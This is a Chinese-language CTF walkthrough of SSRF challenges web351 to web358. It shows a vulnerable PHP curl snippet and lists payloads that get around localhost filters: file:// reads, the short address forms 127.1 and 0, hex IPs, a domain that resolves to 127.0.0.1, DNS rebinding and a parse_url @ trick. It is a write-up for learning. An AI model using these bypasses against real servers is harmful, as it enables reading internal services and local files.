核心代码解读
<?php
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
?>
curl_init():初始curl会话
curl_setopt():会话设置
curl_exec():执行curl会话,获取内容
curl_close():会话关闭
①web351
post:
url=http://127.0.0.1/flag.php
或者
url=file:///var/www/html/flag.php
查看源码
②web352-353
前置知识:
127.1会被解析成127.0.0.1,也就意味着为零可缺省
在Linux中,0也会被解析成127.0.0.1
127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换
post:
url=http://0/flag.php
url=http://127.1/flag.php
url=http://0x7f.0.0.1/flag.php
url=http://0x7F000001/flag.php
③web354
一些公共域名,但是解析到127.0.0.1
post:
url=http://ecd.tencent.com/flag.php
(当我们访问域名时会把我们引入设置的A记录,这里就是127.0.0.1,感觉就像给域名重起了个名字)
⑤web355-356
也就是长度限制
post:
url=http://0/flag.php
⑥web357
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法 和 dns rebinding 方法。
DNS rebinding(DNS重新绑定攻击)
攻击重点在于DNS服务能够在两次DNS查询中返回不同的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略。
回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 DNS重绑定 来实现攻击。
去CEYE 注册账号,在个人信息页面,点击下面的+ New DNS,添加127.0.0.1和124.222.136.33(随便一个可用的ip)。
翻阅ceye的DNS Rebinding页面的介绍,有这么一句话:
If your identifier is abcdef.ceye.io, then your DNS rebinding host is r.abcdef.ceye.io.
所以要使用DNS重定向,我们要在域名前面加上r.
多试几次即可(每次都是随机返回一个设置的IP,所以可能大概率碰运气)
⑦web358
正则,必须要以http://ctf.
开头,以show结尾
当parse_url()
解析到邮箱时:@前是user
file_get_contents()
会访问host:port/path
,与user无关
post:
url=http://ctf.@127.0.0.1/flag.php#show
还有两题后续专门总结